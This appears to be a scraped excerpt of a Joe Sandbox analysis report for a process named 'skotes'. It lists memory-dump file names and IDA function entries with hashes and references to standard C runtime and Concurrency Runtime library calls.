Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: 0ef968d0dc221131de88aa806ed081670450e73a9dbdc5864b8ca9277a497111
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: 9F51A036A042099FDF21CF68C4806EEFBF9EF55354F14849AE898A7392D772AD05CB50

Function 0096DB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0096DB64

Part of subcall function 00968F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00968F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0096DBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0096DBE9
Concurrency::location::_Assign.LIBCMT ref: 0096DC56

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 5b842d33a2cc2129a5ff16cbc37816eb74d82635b530d8e5dd2069b6adec1964
Instruction ID: c996c5f1b7f3f062073a5baedd28d454b1ba697127a7cad6890f8f0c208d4f56
Opcode Fuzzy Hash: 5b842d33a2cc2129a5ff16cbc37816eb74d82635b530d8e5dd2069b6adec1964
Instruction Fuzzy Hash: 71410570B05214ABCF19DB24C886BBDBB79AF85310F04409DE5569B3C2CB74AD45CB91

Function 009656AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 009656F2
_InternalDeleteHelper.LIBCONCRT ref: 00965726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 0096578B
SafeRWList.LIBCONCRT ref: 0096579A

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 557a15ff400c6bbcfb9ab34fc359db9ffa95864c2fd811b19410fe54c95a9f4e
Instruction ID: f9fb757c1d4bed60ebb39b23fc6c4031c897800f132186933cc11c917222fc04
Opcode Fuzzy Hash: 557a15ff400c6bbcfb9ab34fc359db9ffa95864c2fd811b19410fe54c95a9f4e
Instruction Fuzzy Hash: AD3114367016109FCF159F60C885BADB7AAAFC9710F194279E9099F255DF30AD05CB90

Function 00962CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00962D0F

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: abe866527e9ad0dff2bceb8308bb3be4312fd6dc48980e1561a0134800769242
Instruction ID: 5b98e8db3994e518c1a35c2873b3d479b704caf88c26a26174ff88d79c767fa8
Opcode Fuzzy Hash: abe866527e9ad0dff2bceb8308bb3be4312fd6dc48980e1561a0134800769242
Instruction Fuzzy Hash: C6314775A00709DFCF10DF94C8D0BAEBBB9BF84354F1404AAE945AB386D731A945DBA0

Function 009713F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 009713FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00971447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 0097147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 0097152A

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 3d7fa7b4fe9863704aef1a37bfc3f84850f79faafc00f333fa21f14748fdf841
Instruction ID: e928e7ae66373619ed5a706742d74a6ad3a48a9a197fe520460ccfa030a438b8
Opcode Fuzzy Hash: 3d7fa7b4fe9863704aef1a37bfc3f84850f79faafc00f333fa21f14748fdf841
Instruction Fuzzy Hash: F8315472E006159FCF14DFA9C491AEDFBB5BF88710B14822DE429E7391DB34A941CB90

Function 0095BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0095BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0095BBE4
_xtime_get.LIBCPMT ref: 0095BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0095BC13

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
